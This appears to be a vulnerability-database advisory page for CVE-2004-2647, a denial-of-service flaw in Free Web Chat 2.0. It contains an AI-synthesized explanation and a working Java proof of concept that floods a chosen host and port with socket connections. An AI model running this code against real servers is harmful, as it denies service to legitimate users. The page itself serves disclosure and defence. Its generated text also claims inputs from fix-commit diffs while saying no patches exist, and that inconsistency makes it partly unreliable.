CVE-2004-2647
Description
Free Web Chat 2.0 is vulnerable to denial of service by consuming excessive CPU resources through multiple connections from a single user.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Free Web Chat 2.0 is vulnerable to denial of service by consuming excessive CPU resources through multiple connections from a single user.
Vulnerability
Free Web Chat version 2.0 is susceptible to a denial of service vulnerability. The server does not properly manage multiple connections originating from the same IP address or user, leading to excessive resource consumption. This issue affects Free Web Chat 2.0 [1].
Exploitation
An attacker can exploit this vulnerability by establishing numerous simultaneous connections to the Free Web Chat server from a single location. The provided proof-of-concept code demonstrates how to saturate the server with up to 20 connections from a specified host and port [1].
Impact
Successful exploitation of this vulnerability can lead to a denial of service by consuming excessive CPU resources on the server. This prevents legitimate users from accessing the chat service [1].
Mitigation
No specific patched version or release date for Free Web Chat 2.0 has been disclosed in the available references. Users are advised to monitor vendor advisories for updates. There is no information on workarounds or if the vulnerability is listed on the KEV catalog [1].
AI Insight generated on Jun 1, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Patches
0No patches discovered yet.
Vulnerability mechanics
Root cause
"The server does not properly manage multiple connections from the same location, leading to resource exhaustion."
Attack vector
A remote attacker can establish numerous connections to the Free Web Chat server from the same network location. The server fails to adequately manage these concurrent connections. This leads to excessive CPU consumption as the server attempts to process each connection. Consequently, legitimate users are denied service due to the server becoming unresponsive [ref_id=1].
Affected code
The vulnerability stems from the server's inadequate management of multiple connections originating from the same network location. The provided proof-of-concept code demonstrates this by opening multiple sockets to the target host and port [ref_id=1].
What the fix does
The advisory does not specify a patch or provide details on how the vulnerability is fixed. Remediation guidance suggests that users should upgrade to a patched version of the software when available. Without a patch, the exact mitigation steps are not detailed.
Preconditions
- networkThe attacker must have network access to the Free Web Chat server.
Reproduction
```java import java.io.PrintStream; import java.net.Socket; import java.net.InetAddress; import java.net.ConnectException;
public class FreeWebChat_ir_RC_poc {
final static String VERSION = "0.1"; final static int MAX_CONN = 20;
public static void main(String [] args){
System.out.println( "\n\nFree Web Chat - Resources Consumption - Proof Of Concept\n" + "Version: " + VERSION + "\n\n" + "coded by: Donato Ferrante\n" + "e-mail: fdonato@autistici.org\n" + "web: www.autistici.org/fdonato\n\n" );
String host = ""; int port = 0;
if(args.length < 2){
System.out.println("Usage: <host> <port>\n\n"); System.exit(-1);
}
try{
host = args[0]; port = (new Integer(args[1])).intValue();
}catch(Exception e){System.exit(-1);}
try{
int i = 0; while(i++ <= MAX_CONN){
try{
InetAddress addr = InetAddress.getByName(host); Socket socket = new Socket(addr, port);
PrintStream printStream = new PrintStream(socket.getOutputStream()); printStream.println("test"); printStream.close();
}catch(ConnectException ce){System.out.println(ce); System.exit(-1);} }
}catch(Exception e){System.out.println(e); System.exit(-1);}
System.out.println("\nFree_Web_Chat - Resources Consumption - Proof_Of_Concept terminated.\n\n");
}
} ```
Generated on Jun 2, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
6News mentions
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